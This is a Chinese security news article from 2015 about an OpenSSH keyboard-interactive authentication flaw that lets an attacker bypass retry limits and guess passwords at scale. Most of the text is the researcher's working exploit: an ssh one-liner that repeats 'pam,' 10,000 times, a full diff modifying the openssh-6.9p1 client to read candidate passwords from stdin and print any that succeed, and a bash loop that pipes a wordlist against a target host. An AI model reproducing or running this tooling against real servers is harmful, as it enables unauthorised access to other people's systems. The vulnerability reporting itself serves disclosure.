本文讲的是 OpenSSH漏洞可导致服务器被暴力破解 研究人员公布利用方法,利用安全远程访问工具OpenSSH中的一个漏洞,攻击者可绕过认证重试次数的限制,进行大量的口令猜解。一位网名为Kingcope的安全人员近日在博客上发布了这个漏洞的利用方法。
OpenSSH服务器的“键盘交互”认证是打开的,默认设置为允许6次认证尝试,客户端只允许3次,然后就会关闭与服务器的连接。然而,这个认证机制可以在单次连接中进行多次认证尝试。利用这个漏洞,攻击者能够在允许登录时间的2分钟内进行多次口令尝试,也就意味着成千上万次的暴力破解。
而且,即使在OpenSSH的配置中把口令认证设置成“no”并使用公共密钥认证也无法防止这种攻击。
漏洞利用方法:
ssh -lusername -oKbdInteractiveDevices=`perl -e ‘print “pam,” x 10000’` targethost
这条命令可以在登录时间尝试多达10000个口令。下面是openssh-6.9p1的攻击补丁,打上这个补丁之后即可执行远程破解:
—分割线–
diff openssh-6.9p1/sshconnect2.c openssh-6.9p1-modified/sshconnect2.c
83a84,85
> char password[1024];
>
510c512,517
< authctxt->success = 1; /* break out */
—
> printf(“==============================================\n”);
> printf(“*** SUCCESS **********************************\n”);
> printf(“*** PASSWORD: %s\n”, password);
> printf(“==============================================\n”);
> exit(0);
>
1376a1384,1385
> char *devicebuffer;
> int i;
1386a1396,1405
> devicebuffer = calloc(1, 200000);
> if (!devicebuffer) {
> fatal(“cannot allocate devicebuffer”);
> }
>
> for (i=0;i<200000-2;i+=2) {
> memcpy(devicebuffer + i, “p,”, 2);
> }
> devicebuffer[200000] = 0;
>
1393,1394c1412
< packet_put_cstring(options.kbd_interactive_devices ?
< options.kbd_interactive_devices : “”);
—
> packet_put_cstring(devicebuffer);
1408c1426
< char *name, *inst, *lang, *prompt, *response;
—
> char *name, *inst, *lang, *prompt;
1410c1428
< int echo = 0;
—
> char *pos;
1425a1444
>
1430a1450
>
1443,1449c1463,1469
< echo = packet_get_char();
<
< response = read_passphrase(prompt, echo ? RP_ECHO : 0);
<
< packet_put_cstring(response);
< explicit_bzero(response, strlen(response));
< free(response);
—
> packet_get_char();
> if (fgets(password, 1024, stdin) == NULL)
> exit(0);
> if ((pos=strchr(password, ‘\n’)) != NULL)
> *pos = ”;
> printf(“%s\n”, password);
> packet_put_cstring(password);
—分割线—
补丁打上之后,即可使用下面的shell脚本挂上词汇表进行口令破解的尝试:
—分割线—
#!/bin/bash
# run as:
# cat wordlist.txt | ./sshcracker.sh ssh-username ssh-target
#
while true
do
./ssh -l$1 $2
rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi
echo Respawn due to login grace time…
done
—分割线—
例如:
cat wordlist.txt | ./sshcracker.sh test 192.168.2.173
该攻击已经在FreeBSD 10.1系统及老版本如6.2上成功测试。
原文发布时间为:七月 24, 2015
本文作者:Recco
本文来自云栖社区合作伙伴安全牛,了解相关信息可以关注安全牛。
原文链接:http://www.aqniu.com/threat-alert/8909.html